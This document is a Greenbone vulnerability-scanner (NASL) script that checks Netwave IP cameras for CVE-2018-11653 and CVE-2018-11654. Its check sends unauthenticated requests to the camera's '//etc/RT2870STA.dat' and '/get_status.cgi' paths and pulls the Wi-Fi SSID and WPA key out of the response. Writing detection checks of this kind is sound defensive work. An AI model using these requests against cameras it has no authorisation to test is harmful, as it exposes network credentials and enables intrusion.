Netwave IP Camera Information Disclosure Vulnerability

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

if( description )
{
  script_oid("1.3.6.1.4.1.25623.1.0.113254");
  script_version("2023-04-18T10:19:20+0000");
  script_tag(name:"last_modification", value:"2023-04-18 10:19:20 +0000 (Tue, 18 Apr 2023)");
  script_tag(name:"creation_date", value:"2018-08-28 12:50:00 +0200 (Tue, 28 Aug 2018)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-09-13 11:12:00 +0000 (Mon, 13 Sep 2021)");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_cve_id("CVE-2018-11653", "CVE-2018-11654");

  script_name("Netwave IP Camera Information Disclosure Vulnerability");

  script_category(ACT_GATHER_INFO);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_netwave_ip_cam_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("netwave/ip_camera/detected");

  script_tag(name:"summary", value:"Netwave IP cameras are prone to multiple
  Information Disclosure Vulnerability.");

  script_tag(name:"vuldetect", value:"Tries to gather sensitive information.");

  script_tag(name:"insight", value:"Sensitive information can be acquired by unauthorized attackers
  via visiting /get_status.cgi and //etc/RT2870STA.dat.");

  script_tag(name:"affected", value:"All versions of Netwave IP camera.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"https://github.com/SadFud/Exploits/tree/master/Real%20World/SCADA%20-%20IOT%20Systems/CVE-2018-11653");
  script_xref(name:"URL", value:"https://github.com/SadFud/Exploits/tree/master/Real%20World/SCADA%20-%20IOT%20Systems/CVE-2018-11654");

  exit(0);
}

CPE = "cpe:/h:netwave:ip_camera";

include( "host_details.inc" );
include( "misc_func.inc" );
include( "http_func.inc" );
include( "http_keepalive.inc" );

if( ! port = get_app_port( cpe: CPE ) ) exit( 0 );
if( ! location = get_app_location( cpe: CPE, port: port ) ) exit( 0 );

if( location == "/" )
  location = "";

report = ""; # nb: To make openvas-nasl-lint happy...

attack_url = location + "//etc/RT2870STA.dat";
req = http_get_req( port: port, url: attack_url, accept_header: "*/*", host_header_use_ip: TRUE,
  user_agent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36' );
buf = http_keepalive_send_recv( port: port, data: req );
if( buf =~ "SSID=" && buf =~ "WPAPSK=" ) {
  report += http_report_vuln_url( port: port, url: attack_url );
  wpa_info = eregmatch( string: buf, pattern: 'SSID=([^\r\n]+).+WPAPSK=([^\r\n]+)', icase: TRUE );
  if( !isnull( wpa_info[1] ) && ! isnull( wpa_info[2] ) ) {
    report += '\r\nWPA Credentials acquired: "' + wpa_info[1] + ":" + wpa_info[2] + '"';
  }
}

attack_url = location + "/get_status.cgi";
req = http_get_req( port: port, url: attack_url, accept_header: "*/*", host_header_use_ip: TRUE,
  user_agent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36' );
buf = http_keepalive_send_recv( port: port, data: req );
if( buf =~ "var alias=" && buf =~ "var ddns_host=" ) {
  if( report != "" )
    report += '\r\n\r\n';
  report += http_report_vuln_url( port: port, url: attack_url );
}

if( report != "" ) {
  security_message( port: port, data: report );
  exit( 0 );
}

exit( 99 );